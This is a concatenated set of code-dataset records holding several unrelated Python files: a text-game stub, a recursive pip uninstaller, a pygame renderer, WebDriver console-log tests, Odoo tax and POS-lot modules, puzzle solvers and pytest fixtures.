main()\n\n\n\n","sub_path":"python-plot/plot_energies.py","file_name":"plot_energies.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"312514637","text":"import os\r\nimport json\r\nimport time\r\nimport random\r\nimport configparser\r\n\r\n__author__ = 'Elisei Sharov';\r\n\r\nVERSION = '1.0.0'\r\n\r\n#lists\r\n\r\nfunctions = [\r\n 'menu',\r\n 'load_game',\r\n 'ghelp',\r\n 'exit',\r\n 'new_game',\r\n 'game_info',\r\n 'authors',\r\n 'save_game'\r\n]\r\n\r\nstart_menu = [\r\n 'Новая игра - new_game\\n',\r\n 'Загрузить игру - load_game\\n',\r\n 'Помощь - ghelp\\n',\r\n 'Выход - exit\\n'\r\n]\r\n\r\nhelping_info = [\r\n 'Добро пожаловать в HackTheWorld: гайды\\n',\r\n 'Здесь вы можете получить любую интересующую вас информацию\\n',\r\n 'Чтобы получить информацию о функции, игре или авторстве программы,'\r\n + 'введите название функции, game_info или authors\\n'\r\n]\r\n\r\n#defining functions\r\n\r\ndef menu(): #function menu, \r\n print(start_menu[0], start_menu[1], start_menu[2], start_menu[3])\r\n\r\ndef new_game():\r\n user = input('Пожалуйста, введите своё имя: ')\r\n passw = input('Придумайте пароль для игры: ')\r\n\r\n with open('saves.json', mode='r') as f:\r\n data = json.load(f)\r\n games_count = data['count']\r\n\r\n with open('saved_games.ini', mode='a') as f:\r\n f.write('\\n\\n[game_{}]\\nuser={}\\npassw={}'.format(games_count, user, passw))\r\n ACTIVATED_GAME = games_count\r\n\r\n with open('saves.json', mode='w') as f:\r\n dict = {}\r\n dict['count'] = games_count + 1\r\n json.dump(dict, f)\r\n\r\ndef load_game():\r\n a = input('Пожалуйста, введите ID сохранения, которую вы хотите загрузить: ')\r\n\r\ndef ghelp():\r\n print(helping_info[0], helping_info[1], helping_info[2])\r\n\r\n#def save_game():\r\n\r\n\r\ndef exit():\r\n quit()","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"121723056","text":"import os\nimport sys\n\ndef check_dependents(module_name):\n ##########################################\n # 查看一个模块的依赖\n # :param module_name: 模块名\n # :return: module_name 所依赖的模块的列表\n ##########################################\n with os.popen('pip show %s' % module_name) as p:\n pkg_info = p.readlines()\n if not len(pkg_info):\n return None\n dependents = pkg_info[-2]\n dependentby = pkg_info[-1]\n dependents = dependents.split(':')[-1].replace(' ', '').strip()\n dependentby = dependentby.split(':')[-1].replace(' ', '').strip()\n if dependents:\n dependents = dependents.split(',')\n else:\n dependents = None\n if dependentby:\n dependentby = dependentby.split(',')\n else:\n dependentby = None\n return dependents, dependentby\n\n\ndef remove(module_name):\n ##########################################\n # 递归地卸载一个模块\n # :param module_name: 模块名称\n # :return: None\n ##########################################\n\n dependents, dependentby = check_dependents(module_name)\n print('Pakage Name:%s' % module_name)\n #print('Requires:%s' % dependents)\n #print('Required by:%s' % dependentby)\n\n if dependents and dependentby == None:\n os.system('pip uninstall -y %s' % module_name)\n #print('Removing %s...' % module_name)\n for package in dependents:\n remove(package)\n\n\nif __name__ == '__main__':\n pkg_list = sys.argv[1:]\n print(pkg_list)\n for pkg_name in pkg_list:\n print('Removing %s...' % pkg_name)\n remove(pkg_name)\n","sub_path":"autoremove.py","file_name":"autoremove.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"248071450","text":"import View.Renderer\nfrom Screen.GUI import *\n\nclass ScreenRenderer(View.Renderer.Renderer):\n def __init__(self,width,height):\n super().__init__(width,height)\n\n def renderString(self,string):\n dy =0 #przesunięcie\n self.font = Files.FONTS[string.font] #wybrany font\n for strin in string.string.splitlines():\n if(len(strin.strip()) >0):#sprawdzenie pustości\n self.screen.blit(self.font.render(strin, True,#wyrenderowanie stringa\n string.color if strin.strip()[0]!='#' else View.Renderer.DEBUG_PURPLE),\n (self.getMP(string.x), self.getMP(string.y+dy)))\n dy+=string.height\n def renderButton(self,button):\n width =0\n if(button.state==0):\n width=3 #ustawienie wypełnienia\n pygame.draw.rect(self.screen,\n button.color,\n pygame.Rect(self.getMP(button.x),self.getMP(button.y),self.getMP(button.width),self.getMP(button.height)), width\n )\n\n self.renderString(button.string)#wyrenderowanie wewnętrznego stirnga\n\n def renderButtons(self,buttonmenu):#renderowanie\n for b in buttonmenu.buttons:\n self.renderButton(b)\n\n def renderValueBar(self, valuebar):\n #obramówka\n pygame.draw.rect(self.screen,\n valuebar.color,\n pygame.Rect(self.getMP(valuebar.x), self.getMP(valuebar.y), self.getMP(valuebar.width),\n self.getMP(valuebar.height)), 3\n )\n #wypełnienie\n pygame.draw.rect(self.screen,\n valuebar.color,\n pygame.Rect(self.getMP(valuebar.x), self.getMP(valuebar.y), self.getMP(valuebar.width*(valuebar.value/valuebar.max)),\n self.getMP(valuebar.height)), 0\n )\n def render(self,guiObjects,delta):\n self.font = Files.FONTS[\"default\"]\n\n for guiEl in guiObjects:\n if(not guiEl.visible):\n continue\n if( isinstance(guiEl,StringC)):\n self.renderString(guiEl)\n if (isinstance(guiEl, Button)):\n self.renderButton(guiEl)\n if (isinstance(guiEl, Input)):\n self.renderButton(guiEl)\n if (isinstance(guiEl, ButtonMenu)):\n self.renderButtons(guiEl)\n if (isinstance(guiEl, ValueBar)):\n self.renderValueBar(guiEl)\n","sub_path":"View/ScreenRenderer.py","file_name":"ScreenRenderer.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"125059727","text":"import pickle\n\ndef sayhi():\n print(\"hey\")\ndata = {\n 'name':\"alex\",\n \"age\":22,\n \"sex\": \"M\",\n \"func\": sayhi\n}\n\nf = open(\"data.pkl\",\"wb\",)\nf.write(pickle.dumps(data) )\nf1=open(\"data.pkl\",\"rb\",)\ndata = pickle.loads(f.read())\nprint(data['name'])\n","sub_path":"untitled1/dream/day5/alex笔记/pickle序列化.py","file_name":"pickle序列化.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"232893887","text":"import pytest\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"log_argument, expected_text\", [\n (\"'TEST'\", \"TEST\"),\n (\"'TWO', 'PARAMETERS'\", \"TWO PARAMETERS\"),\n (\"{}\", \"[object Object]\"),\n (\"['1', '2', '3']\", \"1,2,3\"),\n (\"null, undefined\", \"null undefined\"),\n], ids=[\n 'single string',\n 'two strings',\n 'empty object',\n 'array of strings',\n 'null and undefined',\n])\nasync def test_console_log_argument_type(bidi_session,\n current_session,\n wait_for_event,\n log_argument,\n expected_text):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n\n # TODO: To be replaced with the BiDi implementation of execute_script.\n current_session.execute_script(f\"console.log({log_argument})\")\n\n event_data = await on_entry_added\n assert event_data['text'] == expected_text\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"log_method, expected_level\", [\n (\"assert\", \"error\"),\n (\"debug\", \"debug\"),\n (\"error\", \"error\"),\n (\"info\", \"info\"),\n (\"log\", \"info\"),\n (\"table\", \"info\"),\n (\"trace\", \"debug\"),\n (\"warn\", \"warning\"),\n])\nasync def test_console_log_level(bidi_session,\n current_session,\n wait_for_event,\n log_method,\n expected_level):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n\n # TODO: To be replaced with the BiDi implementation of execute_script.\n if log_method == 'assert':\n # assert has to be called with a first falsy argument to trigger a log.\n current_session.execute_script(\"console.assert(false, 'text')\")\n else:\n current_session.execute_script(f\"console.{log_method}('text')\")\n\n event_data = await on_entry_added\n\n assert event_data['text'] == 'text'\n assert event_data['level'] == expected_level\n assert event_data['type'] == 'console'\n assert event_data['method'] == log_method\n assert isinstance(event_data['timestamp'], int)\n\n\n@pytest.mark.asyncio\n@pytest.mark.parametrize(\"new_context_method_name\", [\"refresh\", \"new_window\"])\nasync def test_console_log_new_context(bidi_session,\n current_session,\n wait_for_event,\n new_context_method_name):\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(f\"console.log('text')\")\n event_data = await on_entry_added\n assert event_data['text'] == 'text'\n\n new_context_method = getattr(current_session, new_context_method_name)\n new_context_method()\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(f\"console.log('text_after_refresh')\")\n event_data = await on_entry_added\n assert event_data['text'] == 'text_after_refresh'\n\n\n@pytest.mark.asyncio\nasync def test_console_log_subscribe_twice(bidi_session,\n current_session,\n wait_for_event):\n # Subscribe to log.entryAdded twice and check that events are only received\n # once.\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n await bidi_session.session.subscribe(events=[\"log.entryAdded\"])\n\n # Track all received log.entryAdded events in the events array\n events = []\n async def on_event(method, data):\n events.append(data)\n\n remove_listener = bidi_session.add_event_listener(\"log.entryAdded\", on_event)\n\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(f\"console.log('text1')\")\n await on_entry_added\n assert len(events) == 1;\n assert events[0]['text'] == 'text1'\n\n # Wait for another console log so that potential duplicates for the first\n # log have time to be received.\n on_entry_added = wait_for_event(\"log.entryAdded\")\n current_session.execute_script(f\"console.log('text2')\")\n await on_entry_added\n assert len(events) == 2;\n assert events[1]['text'] == 'text2'\n\n remove_listener()\n","sub_path":"webdriver/tests/bidi/log_entry_added/console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":4404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"260603626","text":"\r\nimport arcpy\r\n\r\narcpy.env.workspace = \"C:\\ESRI\\Subs\\Sub.gdb\\Production\"\r\nmxd = arcpy.mapping.MapDocument(\"CURRENT\")\r\ndf = arcpy.mapping.ListDataFrames(mxd,\"*\")[0]\r\n\r\nfc_list = arcpy.ListFeatureClasses(\"*\",\"POLYGON\")\r\n\r\nSTP_area = 0\r\nSLP_area = 0\r\nSBP_area = 0\r\n\r\nfor fc in fc_list:\r\n if fc[-3:] ==\"STP\":\r\n with arcpy.da.SearchCursor(fc,\"STATEDAREA\") as scursor:\r\n for row in scursor:\r\n STP_area += int(row[0].split(\" \")[0])\r\n elif fc[-3:] == \"SLP\":\r\n with arcpy.da.SearchCursor(fc,\"STATEDAREA\") as scursor:\r\n for row in scursor:\r\n SLP_area += int(row[0].split(\" \")[0])\r\n elif fc[-3:] == \"SBP\":\r\n with arcpy.da.SearchCursor(fc,\"STATEDAREA\") as scursor:\r\n for row in scursor:\r\n SBP_area += int(row[0].split(\" \")[0])\r\n else:\r\n arcpy.AddMessage(\"Check Production dataset to be sure it has correct feature classes: STP, SLP, SBP, ect\")\r\n\r\n\r\nif STP_area == SLP_area and SLP_area == SBP_area:\r\n arcpy.AddMessage(\"All acreages match. No acreage check necessary\")\r\nelif STP_area != SLP_area and STP_area == SBP_area:\r\n arcpyAddMessage(\"STP acreage does not match SLP area, but STP area does match SBP area. Acreage error is probably a road\")\r\n # insert road check here\r\nelif STP_area == SLP_area and STP_area != SBP_area:\r\n arcpy.AddMessage(\"STP area does not match SBP area and STP area matches SLP area. Acreage error is probably due to a split\")\r\n # insert split check here\r\nelse:\r\n arcpy.AddMessage(\"Something is wrong that has not been accounted for yet\")\r\n\r\n\r\n\r\n\r\n","sub_path":"acreage_test_mainLogic.py","file_name":"acreage_test_mainLogic.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"637436292","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import ValidationError\nfrom odoo.tools import float_compare, float_round\n\nfrom .taxcloud_request import TaxCloudRequest\n\nclass SaleOrder(models.Model):\n\n\t_inherit = \"sale.order\"\n\n\t@api.multi\n\t@api.onchange('partner_id')\n\tdef onchange_partner_id(self):\n\t\tres = super(SaleOrder, self).onchange_partner_id()\n\t\tif self.partner_id and self.partner_id.is_tax_exempt == True:\n\t\t\ttax_id = self.env['account.tax'].search([('name','=','Tax Exempt-Sales'),('type_tax_use','=','sale')])\n\t\t\tif tax_id:\n\t\t\t\t[line.update({'tax_id': [(6, 0, tax_id.ids)]}) for line in self.order_line]\n\t\telif self.partner_id and self.partner_id.is_tax_exempt == False:\n\t\t\t[line.update({'tax_id': [(6, 0, line.product_id.taxes_id.ids)]}) for line in self.order_line]\n\t\treturn res\n\n\t@api.multi\n\tdef validate_taxes_on_sales_order(self):\n\t\tcompany = self.company_id\n\t\tParam = self.env['ir.config_parameter']\n\t\tapi_id = Param.sudo().get_param('account_taxcloud.taxcloud_api_id_{}'.format(company.id)) or Param.sudo().get_param('account_taxcloud.taxcloud_api_id')\n\t\tapi_key = Param.sudo().get_param('account_taxcloud.taxcloud_api_key_{}'.format(company.id)) or Param.sudo().get_param('account_taxcloud.taxcloud_api_key')\n\t\trequest = TaxCloudRequest(api_id, api_key)\n\t\tshipper = self.company_id or self.env.user.company_id\n\t\trequest.set_location_origin_detail(shipper)\n\t\trequest.set_location_destination_detail(self.partner_shipping_id)\n\n\t\trequest.set_order_items_detail(self)\n\n\t\tresponse = request.get_all_taxes_values()\n\t\tif response.get('error_message'):\n\t\t\traise ValidationError(_('Unable to retrieve taxes from TaxCloud: ')+'\\n'+response['error_message']+'\\n\\n'+_('The configuration of TaxCloud is in the Accounting app, Settings menu.'))\n\n\t\ttax_values = response['values']\n\t\tfor index, line in enumerate(self.order_line):\n\t\t\tif line.price_unit >= 0.0 and line.product_uom_qty >= 0.0:\n\t\t\t\tprice = line.price_unit * (1 - (line.discount or 0.0) / 100.0) * line.product_uom_qty\n\t\t\t\tif not price:\n\t\t\t\t\ttax_rate = 0.0\n\t\t\t\telse:\n\t\t\t\t\ttax_rate = tax_values[index] / price * 100\n\t\t\t\tif len(line.tax_id) != 1 or float_compare(line.tax_id.amount, tax_rate, precision_digits=3):\n\t\t\t\t\ttax_id = self.env['account.tax'].search([('name','=','Tax Exempt-Sales'),('type_tax_use','=','sale')])\n\t\t\t\t\tif tax_id.id in line.tax_id.ids:\n\t\t\t\t\t\tline.tax_id = tax_id\n\t\t\t\t\telif not line.tax_id:\n\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\ttax_rate = float_round(tax_rate, precision_digits=3)\n\t\t\t\t\t\ttax = self.env['account.tax'].with_context(active_test=False).sudo().search([\n\t\t\t\t\t\t\t('amount', '=', tax_rate),\n\t\t\t\t\t\t\t('amount_type', '=', 'percent'),\n\t\t\t\t\t\t\t('type_tax_use', '=', 'sale'),\n\t\t\t\t\t\t\t('company_id', '=', company.id),\n\t\t\t\t\t\t], limit=1)\n\t\t\t\t\t\tif not tax:\n\t\t\t\t\t\t\ttax = self.env['account.tax'].sudo().create({\n\t\t\t\t\t\t\t\t'name': 'Tax %.3f %%' % (tax_rate),\n\t\t\t\t\t\t\t\t'amount': tax_rate,\n\t\t\t\t\t\t\t\t'amount_type': 'percent',\n\t\t\t\t\t\t\t\t'type_tax_use': 'sale',\n\t\t\t\t\t\t\t\t'description': 'Sales Tax',\n\t\t\t\t\t\t\t\t'company_id': company.id,\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\tline.tax_id = tax\n\t\treturn True\n\n\nclass SaleOrderLine(models.Model):\n\n\t_inherit = \"sale.order.line\"\n\n\t@api.onchange('tax_id')\n\tdef onchange_tinvoice_line_tax_ids(self):\n\t\ttax_id = self.env['account.tax'].search([('name','=','Tax Exempt-Sales'),('type_tax_use','=','sale')])\n\t\tif self.order_id.partner_id and self.order_id.partner_id.is_tax_exempt == True:\n\t\t\tif tax_id:\n\t\t\t\tself.tax_id = [(6, 0, tax_id.ids)]\n\n\t@api.multi\n\tdef _compute_tax_id(self):\n\t\tfor line in self:\n\t\t\tfpos = line.order_id.fiscal_position_id or line.order_id.partner_id.property_account_position_id\n\t\t\t# If company_id is set, always filter taxes by the company\n\t\t\ttaxes = line.product_id.taxes_id.filtered(lambda r: not line.company_id or r.company_id == line.company_id)\n\t\t\tif line.order_id.partner_id and line.order_id.partner_id.is_tax_exempt == True:\n\t\t\t\ttax_id = self.env['account.tax'].search([('name','=','Tax Exempt-Sales'),('type_tax_use','=','sale')])\n\t\t\t\tif tax_id:\n\t\t\t\t\tline.update({'tax_id': [(6, 0, tax_id.ids)]})\n\t\t\telse:\n\t\t\t\tline.tax_id = fpos.map_tax(taxes, line.product_id, line.order_id.partner_shipping_id) if fpos else taxes\n\n\t@api.multi\n\t@api.onchange('product_id')\n\tdef product_id_change(self):\n\t\tres = super(SaleOrderLine, self).product_id_change()\n\t\tif self.product_id and self.order_id.partner_id.is_tax_exempt == True:\n\t\t\ttax_id = self.env['account.tax'].search([('name','=','Tax Exempt-Sales'),('type_tax_use','=','sale')])\n\t\t\tif tax_id:\n\t\t\t\tself.update({'tax_id': [(6, 0, tax_id.ids)]})\n\t\treturn res","sub_path":"tax_exempt_solution/models/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"380398961","text":"\"\"\"\r\nSnail Sort\r\n\r\nGiven an n x n array, return the array elements arranged from outermost \r\nelements to the middle element, traveling clockwise.\r\n\r\narray = [[1,2,3],\r\n [4,5,6],\r\n [7,8,9]]\r\nsnail(array) #=> [1,2,3,6,9,8,7,4,5]\r\n\r\nFor better understanding, please follow the numbers of the next \r\narray consecutively:\r\narray = [[1,2,3],\r\n [8,9,4],\r\n [7,6,5]]\r\nsnail(array) #=> [1,2,3,4,5,6,7,8,9]\r\n\r\nNOTE: The idea is not sort the elements from the lowest value to the highest; \r\nthe idea is to traverse the 2-d array in a clockwise snailshell pattern.\r\n\r\nNOTE 2: The 0x0 (empty matrix) is represented as en empty array inside an \r\narray [[]].\r\n\"\"\"\r\nimport numpy as np\r\n\r\n# Original solution without numpy\r\n# def snail(snail_map):\r\n# steps = 2*len(snail_map) - 1\r\n# snail = []\r\n# while True:\r\n# # top; right to left\r\n# if steps != 0:\r\n# snail.extend(snail_map[0])\r\n# snail_map.remove(snail_map[0])\r\n# steps -= 1\r\n# else:\r\n# break\r\n \r\n# # right; top to bottom \r\n# if steps != 0:\r\n# for i in range(0, len(snail_map)):\r\n# snail.append(snail_map[i].pop(-1))\r\n# steps -= 1\r\n# else:\r\n# break\r\n \r\n# # bottom; left to right\r\n# if steps != 0:\r\n# tmp = snail_map[-1]\r\n# tmp.reverse()\r\n# snail.extend(tmp)\r\n# snail_map.remove(snail_map[-1])\r\n# steps -= 1\r\n# else:\r\n# break\r\n\r\n# # left; bottom to top \r\n# if steps != 0:\r\n# for i in range(len(snail_map)-1, 0, -1):\r\n# snail.append(snail_map[i].pop(0))\r\n# steps -= 1\r\n# else:\r\n# break\r\n# return snail\r\n\r\ndef snail(snail_map):\r\n snail = []\r\n snail_map = np.array(snail_map)\r\n while True:\r\n snail.extend(snail_map[0])\r\n snail_map = np.delete(snail_map, 0, 0)\r\n if len(snail_map) != 0:\r\n snail_map = np.rot90(snail_map)\r\n else:\r\n return snail\r\n\r\n\r\narray = [[1,2,3],\r\n [4,5,6],\r\n [7,8,9]]\r\nprint(snail(array) == [1,2,3,6,9,8,7,4,5])\r\n\r\narray = [[1,2,3],\r\n [8,9,4],\r\n [7,6,5]]\r\nprint(snail(array) == [1,2,3,4,5,6,7,8,9])\r\n\r\narray = [[1,2,3,4],\r\n [5,6,7,8],\r\n [9,10,11,12],\r\n [13,14,15,16]]\r\nprint(snail(array) == [1,2,3,4,8,12,16,15,14,13,9,5,6,7,11,10])\r\n\r\narray = [[ 1, 2, 3, 4, 5, 6],\r\n [20, 21, 22, 23, 24, 7],\r\n [19, 32, 33, 34, 25, 8],\r\n [18, 31, 36, 35, 26, 9],\r\n [17, 30, 29, 28, 27, 10],\r\n [16, 15, 14, 13, 12, 11]]\r\nprint(snail(array) == [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, \r\n 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,\r\n 31, 32, 33, 34, 35, 36])","sub_path":"Snail Sort (snail).py","file_name":"Snail Sort (snail).py","file_ext":"py","file_size_in_byte":2967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"161222647","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import api, fields, models, tools, _\nimport logging\n\n_logger = logging.getLogger(__name__)\n\nclass pos_config(models.Model):\n _inherit = 'pos.config' \n\n allow_pos_lot = fields.Boolean('Allow POS Lot', default=True)\n lot_expire_days = fields.Integer('Product Lot expire days.', default=1)\n pos_lot_receipt = fields.Boolean('Print lot Number on receipt',default=1)\n\nclass stock_production_lot(models.Model):\n _inherit = \"stock.production.lot\"\n\n total_qty = fields.Float(\"Total Qty\", compute=\"_computeTotalQty\")\n \n @api.multi\n def _computeTotalQty(self):\n pos_config = self.env['pos.config'].search([], limit=1)\n pos_location_id = self.env['stock.location'].search([('id','=',pos_config.stock_location_id.id)])\n for record in self:\n move_line = self.env['stock.move.line'].search([('lot_id','=',record.id)])\n record.total_qty = 0.0\n for rec in move_line:\n #if rec.location_dest_id.usage in ['internal', 'transit']:\n # record.total_qty += rec.qty_done\n #else:\n # record.total_qty -= rec.qty_done\n if rec.location_dest_id == pos_location_id:\n record.total_qty += rec.qty_done\n elif rec.location_id == pos_location_id:\n record.total_qty -= rec.qty_done\n else:\n continue \n\n\nclass PosOrder(models.Model):\n _inherit = \"pos.order\"\n\n def set_pack_operation_lot(self, picking=None):\n \"\"\"Set Serial/Lot number in pack operations to mark the pack operation done.\"\"\"\n\n StockProductionLot = self.env['stock.production.lot']\n PosPackOperationLot = self.env['pos.pack.operation.lot']\n has_wrong_lots = False\n for order in self:\n for move in (picking or self.picking_id).move_lines:\n picking_type = (picking or self.picking_id).picking_type_id\n lots_necessary = True\n if picking_type:\n lots_necessary = picking_type and picking_type.use_existing_lots\n qty = 0\n qty_done = 0\n pack_lots = []\n pos_pack_lots = PosPackOperationLot.search([('order_id', '=', order.id), ('product_id', '=', move.product_id.id)])\n pack_lot_names = [pos_pack.lot_name for pos_pack in pos_pack_lots]\n if pack_lot_names and lots_necessary:\n for lot_name in list(set(pack_lot_names)):\n stock_production_lot = StockProductionLot.search([('name', '=', lot_name), ('product_id', '=', move.product_id.id)])\n if stock_production_lot:\n if stock_production_lot.product_id.tracking == 'lot':\n tt = 0\n for ll in pack_lot_names:\n if ll == lot_name:\n tt += 1\n\n # if a lot nr is set through the frontend it will refer to the full quantity\n qty = tt\n else: # serial numbers\n qty = 1.0\n qty_done += qty\n pack_lots.append({'lot_id': stock_production_lot.id, 'qty': qty})\n else:\n has_wrong_lots = True\n elif move.product_id.tracking == 'none' or not lots_necessary:\n qty_done = move.product_uom_qty\n else:\n has_wrong_lots = True\n for pack_lot in pack_lots:\n lot_id, qty = pack_lot['lot_id'], pack_lot['qty']\n self.env['stock.move.line'].create({\n 'move_id': move.id,\n 'product_id': move.product_id.id,\n 'product_uom_id': move.product_uom.id,\n 'qty_done': qty,\n 'location_id': move.location_id.id,\n 'location_dest_id': move.location_dest_id.id,\n 'lot_id': lot_id,\n })\n if not pack_lots:\n move.quantity_done = qty_done\n return has_wrong_lots\n\n def _action_create_invoice_line(self, line=False, invoice_id=False):\n result = super(PosOrder, self)._action_create_invoice_line(line, invoice_id)\n for pro_lot in line.pack_lot_ids:\n pro_lot.account_invoice_line_id = result.id\n return result\n\nclass AccountInvoiceLine(models.Model):\n _inherit = 'account.invoice.line'\n\n pack_lot_ids = fields.One2many('pos.pack.operation.lot', 'account_invoice_line_id', string='Lot/serial Number')\n\n\nclass PosOrderLineLot(models.Model):\n _inherit = \"pos.pack.operation.lot\"\n\n account_invoice_line_id = fields.Many2one('account.invoice.line')","sub_path":"pos_lot/models/pos.py","file_name":"pos.py","file_ext":"py","file_size_in_byte":4984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"430938468","text":"def queen(n): # n皇后主函數\n\tq = []\n\treturn queenNext(n, q)\n\ndef queenNext(n, q): #已經排好 q[0..y2-1],繼續排下次\n\ty2 = qlen = len(q)\n\tif qlen == n: # 全部排好了\n\t\tprint(q) #印出盤面\n\t\treturn\n #還沒有排滿,繼續排下去\n\tfor x2 in range(n): #對本列的每一個 X去嘗試\n\t\tisConflict = False\n\t\tfor y in range(qlen): #前面已經排下去的皇后,座標為 x,y\n\t\t\tx = q[y]\n\t\t\tif conflict(x,y,x2,y2): #檢查新排的皇后,函前面的有沒有衝突\n\t\t\t\tisConflict = True\n\t\tif not isConflict: #如果沒有衝突,就繼續排下去\n\t\t\tq.append(x2) #把(x2,y2)放進盤面\n\t\t\tqueenNext(n, q) #繼續遞迴尋找下一個皇后\n\t\t\tq.pop() #把(x2,y2)移出盤面\n\t\t\ndef conflict(x1,y1,x2,y2):#判斷(x1,y1),(x2,y2)兩個位置有沒有衝突\n\tif x1==x2: return True\n\tif y1==y2: return True\n\tif x1+y1==x2+y2: return True\n\tif x1-y1==x2-y2: return True\n\treturn False\n\nqueen(4) # 列出四皇后解答\nqueen(8) # 列出八皇后解答\n","sub_path":"homework/week5/queen.py","file_name":"queen.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"536233413","text":"import pytest\n\nfrom modules.commands.data_highscores import DataHighscores\nfrom modules.database.db_manager import DbManager\n\n\n@pytest.fixture(scope='module')\ndef insert_statement():\n \"\"\" Setup of SQL insert statement \"\"\"\n\n statement = f\"\"\"INSERT INTO MOVIES(title, year, runtime, genre, \n director, writer, cast, language, awards, imdb_rating, imdb_votes, box_office) \n VALUES (:title, :year, :runtime, :genre, :director, :writer, :actors, \n :language, :awards, :imdbRating, :imdbVotes, :box_office);\"\"\"\n\n yield statement\n\n del statement\n\n\n@pytest.fixture(scope='module')\ndef database(insert_statement):\n \"\"\" Setup of the in memory database \"\"\"\n\n database = DbManager(db_name=':memory:')\n\n data_to_insert = [\n\n {\"title\": \"The Shawshank Redemption\", \"year\": 1994, \"runtime\": \"142 min\",\n \"genre\": \"Drama\",\n \"director\": \"Frank Darabont\",\n \"writer\": \"Stephen King (short story \\\"Rita Hayworth and Shawshank \"\n \"Redemption\\\"), Frank Darabont (screenplay)\",\n \"actors\": \"Tim Robbins, Morgan Freeman, Bob Gunton, William Sadler\",\n \"language\": \"English\",\n \"awards\": \"Nominated for 7 Oscars. Another 21 wins & 35 nominations.\",\n \"imdbRating\": 9.3, \"imdbVotes\": 2217195,\n \"box_office\": None},\n\n {\"title\": \"The Godfather\", \"year\": 1972, \"runtime\": \"175 min\",\n \"genre\": \"Crime, Drama\",\n \"director\": \"Francis Ford Coppola\",\n \"writer\": \"Mario Puzo (screenplay by), Francis Ford Coppola (screenplay by), Mario Puzo (based on the novel by)\",\n \"actors\": \"Marlon Brando, Al Pacino, James Caan, Richard S. Castellano\",\n \"language\": \"English, Italian, Latin\",\n \"awards\": \"Won 3 Oscars. Another 26 wins & 30 nominations.\",\n \"imdbRating\": 9.2, \"imdbVotes\": 1516505, \"box_office\": None},\n\n {\"title\": \"The Dark Knight\", \"year\": 2008, \"runtime\": \"152 min\",\n \"genre\": \"Action, Crime, Drama, Thriller\", \"director\": \"Christopher Nolan\",\n \"writer\": \"Jonathan Nolan (screenplay), Christopher Nolan (screenplay), \"\n \"Christopher Nolan (story), David S. Goyer (story), Bob Kane (characters)\",\n \"actors\": \"Christian Bale, Heath Ledger, Aaron Eckhart, Michael Caine\",\n \"language\": \"English, Mandarin\",\n \"awards\": \"Won 2 Oscars. Another 153 wins & 159 nominations.\",\n \"imdbRating\": 9.0, \"imdbVotes\": 2184673, \"box_office\": 533316061}\n ]\n\n for data in data_to_insert:\n database.cursor.execute(insert_statement, data)\n\n yield database\n\n del database\n\n\n@pytest.fixture(scope='module')\ndef data_highscores(database):\n \"\"\" Setup of data compare class \"\"\"\n\n highscores = DataHighscores(database)\n yield highscores\n\n del highscores\n\n\ndef test_format_result(data_highscores):\n \"\"\" Verify if final result is formatted correctly \"\"\"\n\n comparator_result = {'title': 'something', 'runtime': 125}\n comparator_keyword = 'runtime_extra'\n\n formatted_result = data_highscores.format_result(comparator_result,\n comparator_keyword)\n\n assert formatted_result['title'] == 'something'\n assert formatted_result['runtime'] == 125\n assert formatted_result['category'] == 'runtime_extra'\n\n\ndef test_handle(data_highscores):\n \"\"\" Verify if handle method works properly \"\"\"\n\n results = data_highscores.handle()\n\n assert results[0]['category'] == 'box_office'\n assert results[0]['title'] == 'The Dark Knight'\n assert results[0]['box_office'] == 533316061\n\n assert results[1]['category'] == 'imdb_rating'\n assert results[1]['title'] == 'The Shawshank Redemption'\n assert results[1]['imdb_rating'] == 9.3\n\n assert results[2]['category'] == 'runtime'\n assert results[2]['title'] == 'The Godfather'\n assert results[2]['runtime'] == 175\n\n assert results[3]['category'] == 'awards_won'\n assert results[3]['title'] == 'The Dark Knight'\n assert results[3]['awards_won'] == 